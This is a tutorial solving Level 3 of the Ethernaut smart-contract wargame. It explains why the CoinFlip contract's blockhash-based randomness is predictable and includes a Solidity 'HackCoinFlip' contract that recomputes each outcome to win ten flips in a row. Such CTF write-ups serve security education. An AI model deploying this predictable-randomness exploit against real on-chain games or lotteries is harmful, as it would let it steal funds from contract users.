paint-brush
How to Solve Level 3 of the Ethernaut Gameby@kamilpolak
3,877 reads
3,877 reads

How to Solve Level 3 of the Ethernaut Game

by Kamil PolakJanuary 24th, 2022
Read on Terminal Reader
Read this story w/o Javascript
tldt arrow

Too Long; Didn't Read

In level 3 you have to play a game: coin flip. To complete this level you'll need to guess the correct outcome of a coin flip 10 times in a row. The random number is being generated from the block hash or the hash of the previously mined block. This number is used as the source of randomness which ultimately influences the side of the flipped coin. When you call the `flip` function in the `HackCoinFlip` contract the value will increase to 1.

Coin Mentioned

Mention Thumbnail
featured image - How to Solve Level 3 of the Ethernaut Game
Kamil Polak HackerNoon profile picture

In level 3 you have to play a game: coin flip. To complete this level you'll need to guess the correct outcome of a coin flip 10 times in a row.


So let's look at the code of the smart contract. We can see that there is only one function - flip.


The flip function takes a boolean value as its argument which represents a side of the coin that's being flipped and it returns a boolean that says whether the caller of this function won or not.


Let me also explain the following line of code.


uint256 blockValue = uint256(blockhash(block.number.sub(1)))


Blockhashis a global variable that takes blocknumber and returns hash of the given block when blocknumber is one of the 256 most recent blocks; otherwise returns zero.


block.number.sub(1) returns the block number of the last block. Why the last one, not the current one? Because at the time the function is called, the current block is not yet mined.


To sum up, the random number is being generated from the block hash or the hash of the previously mined block. This number is used as the source of randomness which ultimately influences the side of the flipped coin.


We can use something like a proxy contract and in the code, we could mimic the exact calculation of the hash of the previously mined block to generate the random number that we know this function is using. Next, we can copy the rest of the contract logic to get the same results.


contract HackCoinFlip{

    using SafeMath for uint256;
    CoinFlip public coinFlipContract;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor(address _coinFlipContract) public{
        coinFlipContract = CoinFlip(_coinFlipContract);
    }
    function makeGuess() public {

        uint256 blockValue = uint256(blockhash(block.number.sub(1)));
        uint256 coinFlip = blockValue.div(FACTOR);
        bool guess = coinFlip == 1 ? true : false;

        coinFlipContract.flip(guess);
    }
}


Note: in this case you need to use Remix IDE because it is not possible to upload an external smart contract.


To do that just copy&paste the CoinFlip and HackCoinFlip contracts. Keep in mind that before you deploy the contract you have to change the environment from JavaScript VM to Injected Web3 to be able to approve transactions using MetaMask.



Before we interact with smart contract let's check the initial state of consecutiveWins



As you can see it is 0. When you call the flip function in the HackCoinFlip contract the value will increase to 1. However, to win the game we need to guess the correct outcome of a coin flip 10 times in a row. This means that you have to call the function 10 times.


When you do this you should see something like this.



You are the winner!


Also published here: https://dev.to/kamilpolak/ethernaut-level-3-coin-flip-tutorial-1db1